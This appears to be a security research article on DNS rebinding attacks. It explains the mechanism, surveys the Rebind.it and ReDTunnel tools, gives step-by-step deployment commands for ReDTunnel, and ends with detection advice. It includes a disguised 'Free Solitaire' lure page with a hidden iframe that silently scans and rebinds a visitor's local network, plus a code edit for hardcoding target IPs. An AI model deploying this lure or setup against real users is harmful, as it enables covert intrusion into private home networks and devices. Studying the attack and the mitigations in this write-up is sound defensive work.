DNS Rebinding, Practical Attacks

Intro

DNS rebinding allows a remote attacker to bypass a victim’s network firewall and use their web browser as a proxy to communicate directly with devices on their private home network. (*1)

Vectors

When a victim visits a page crafted by the attacker, malicious javascript code executes in the background. The javascript code can map available network assets and determine which local IP address have ports listening that are of interest and perform the Rebinding attack. The malicious code may target a specific local domain (e.g.: router.asus.com) or all services with a particular binding (e.g.: 127.0.0.1). The attack can be expanded to expose all devices that should have been only available to local host or to the local network.

DNS Rebinding can also be combined with other vulnerabilities that would require LAN access to exploit. An illustrative example is provided by Craig Young from Tripwire. In the article, DNS rebinding is integrated with a command injection vulnerability to gain RCE on the victim’s NetGear Router.

DNS rebinding can be hard to exploit because a delay of 1 to 3 minutes (depending on how stealthy the attacker wishes to be) is required before the process can complete. The victim must remain on the malicious webpage until Rebinding is successful and for the duration of the attack because once the victim leaves the page the proxy connection back to the attacker's server will be terminated.

Technical

Brannon Dorsey presents an elegant technical description of how DNS Rebinding works on medium. The attack allows a malicious actor to evade the Same Origin Policy (SOP) provided by your browser. In theory, SOP should require web pages served from one domain cannot make requests to another domain without the second domain’s explicit permission. The implementation is designed to validate the protocol, domain name, and port number of the URL being requested matches to the page requesting it. What’s missing? IP Addresses. This allows the malicious actor to abuse DNS to trick web browsers into communicating with servers they don’t intend to. Dorsey provides a step by step explanation below.

1. An attacker controls a malicious DNS server that answers queries for a domain, say rebind.network.
2. The attacker tricks a user into loading http://rebind.network in their browser. There are many ways they could do this, from phishing to persistent XSS or by buying an HTML banner ad.
3. Once the victim follows the link, their web browser makes a DNS request looking for the IP address of rebind.network. When it receives the victim’s DNS request, the attacker controlled DNS server responds with rebind.network’s real IP address, 34.192.228.43. It also sets the TTL value on the response the be 1 second so that the victim’s machine won’t cache it for long.
4. The victim loads the web page from http://rebind.network which contains malicious JavaScript code that begins executing on the victim’s web browser. The page begins repeatedly making some strange looking POST requests to http://rebind.network/thermostatwith a JSON payload like {“tmode”: 1, “a_heat”: 95}.
5. At first, these requests are sent to the attacker’s web server running on 34.192.228.43, but after a while (browser DNS caching is weird) the browser’s resolver observes that the DNS entry for rebind.network is stale and so it makes another DNS lookup.
6. The attacker’s malicious DNS server receives the victim’s second DNS request, but this time it responds with the IP address 192.168.1.77, which happens to be an IP address of a smart thermostat on the victim’s local network.
7. The victim’s machine receives this malicious DNS response and begins to point to HTTP requests intended for http://rebind.network to 192.168.1.77. As far as the browser is concerned nothing has changed and so it sends another POST to http://rebind.network/thermostat.
8. This time, that POST request gets sent to the small unprotected web server running on the victim’s WiFi-connected thermostat. The thermostat processes the request and the temperature in the victim’s home is set to 95 degrees.

Impact

Any device (or Software) built with the assumption the local network would not be exposed to the public internet may be vulnerable.

Research

Several projects have been launched with the aim to demonstrate the dangers DNS rebinding poses.

Rebind.it

Rebind.it is a live demonstration of https://github.com/nccgroup/singularity providing a functional DNS Rebinding attack to the public. A youtube video of tool presented at DefCon is also available. Several payloads are integrated for the Rebind.it project. The Rebind project is meant to “showcase” DNS Rebinding. It requires the victim to initiate the attack.

This framework has been successfully deployed and tested on a development network.

ReDTunnel

ReDTunnel is like the mysterious cousin of Rebind.it. No documentation is available at the Github Repository or the website for the project. A bit of digging revealed ReDTunnel was presented at Blackhat Asia. A youtube video of the presentation is available.

After a bit of tinkering ReDTunnel was successfully deployed. Investigation determined ReDTunnel is a weaponized version (no victim interaction required) of the DNS Rebinding attack with similar capabilities as Rebind.it

Demonstrating the Attack

Demo Videos

A demo has been created against a Linksys router and a simulated NAS device.

Create Your Own Demo

If you wish to setup your own environment you will need access to a server in a cloud environment like AWS, or GCP and a domain pushed to a dns service that allows low TTL values (1 min recommended).

DNS Config

Cloudflare works well, but their minimum TTL is 2 minutes. Namecheap offers free dns service and allows a TTL to be set at 1 minute for DNS records.

The following DNS records are required, where 54.193.116.171 is the IP address of your server. Mind the type of record for the “dynamic” host is “NS”.

Downloading RedTunnel

When choosing a OS flavor Ubuntu Server is recommended. You will need a few dependencies before you can check out RedTunnel.

sudo apt update
sudo apt install git docker-compose
git clone https://github.com/ReDTunnel/redtunnel.git
cd redtunnel/
git submodule update --init --recursive

Nameserver Config

Edit /etc/resolv.conf to add an external DNS server of your choice, such as 8.8.8.8 (remove other entries generated by the cloud service provider).

name server 8.8.8.8

Disable the built-in DNS server, then check DNS is still working with a tool like dig.

sudo systemctl disable --now systemd-resolved.service
dig www.google.com

First Launch

Once the systemd resolver is disabled, and you confirmed DNS resolution is working. You’re ready to start RedTunnel. The first time you start RedTunnel your system will have to build the containers. This may take 3 to 5 minutes to complete, grab a coffee.

cd redtunnel/
nohup sudo docker-compose up &

Port Config

You should open the following ports on your server. Both of the following ports can be restricted to the set of external IP addresses of the victim and the attacker.

• 53 UDP (DNS)
• 3129 TCP (Reverse Websocket)

To prevent accidental/unwanted execution it is strongly recommended to restrict the http port to your victim device’s IP address (and the attackers IP address). For added security, consider changing the default ssh port, disabling root login, disabling password authentication and using ssh keys to authenticate.

Final Config

Access the admin panel at dynamic.yourdomain.com/admin to create a username and password. Then use the credentials to log in, the admin ui should be displayed. You will be able to open the admin panel from any subdomain at /admin. However unless you use the same subdomain as the victim device you will get 503 http errors when you try to explore rebinded devices.

Be careful when visiting dynamic.yourdomain.com/, this page will automatically start scanning your network and perform the rebinding attack. If desired you can host another server with nginx (or your favorite web server) and the following content as your index.html to mimic the demo.

<html>
    <head>
    <title>Free Solitaire</title>
    <style type="text/css">
        body, html {
            margin: 0; padding: 0; height: 100%; overflow: hidden;
        }
        #content {
            position:absolute; left: 0; right: 0; bottom: 0; top: 0px;
        } 
    </style>
    </head>
<body>
<iframe src =
"http://www.google.com/logos/fnbx/solitaire/standalone.html" width=100%
height=100% frameborder="0"></iframe>
<iframe src = "http://dynamic.yourdomain.com/" width=0 height=0
frameborder="0"></iframe>
</body>
</html>

Warning

No documentation is provided by the creators of this repository for setup or troubleshooting. The following scenarios were observed during research.

On some browsers the code to generate the network segment will fail, instead of seeing a scan of your LAN IP ranges in an inspector window it will be GUIDs. In this case you can modify views/main.ejs in the RedTunnel Core container to manually set the list of IP Address to port scan then attack.

Comment out the existing definition of localIps and replace it with your hardcoded list. Then stop/start the container from docker.

let localIps = Array.from(
            iterateLocalNetworkIps(
                config.loopBackOnly ? [] : await getLocalInterfaceIps()
            )
); 
        

-

// let localIps =
Array.from(iterateLocalNetworkIps(['192.168.1.85']));

Detection

For DNS Rebinding to be successful, we must “rebind” a DNS pointed to a public IP address to a LAN address during the attack. A system capable of monitoring DNS Replies triggering when the response points to a local address such as 0.0.0.0, 127.0.0.1, or an IP in the local network like 192.168.1.x is possible. If found drop (or modify) the packet so the victim doesn’t get the intended response for the Rebind.

Another solution would be to use dnsmasq to enforce a minimum TTL for all DNS responses. A value reasonable enough to make the chances of a successful rebinding attack low, but also not to interfere with regular functioning of most sites. A value for the minimum TTL such as would be 5 - 10 minutes would do the trick.

Appendix

(*1): https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325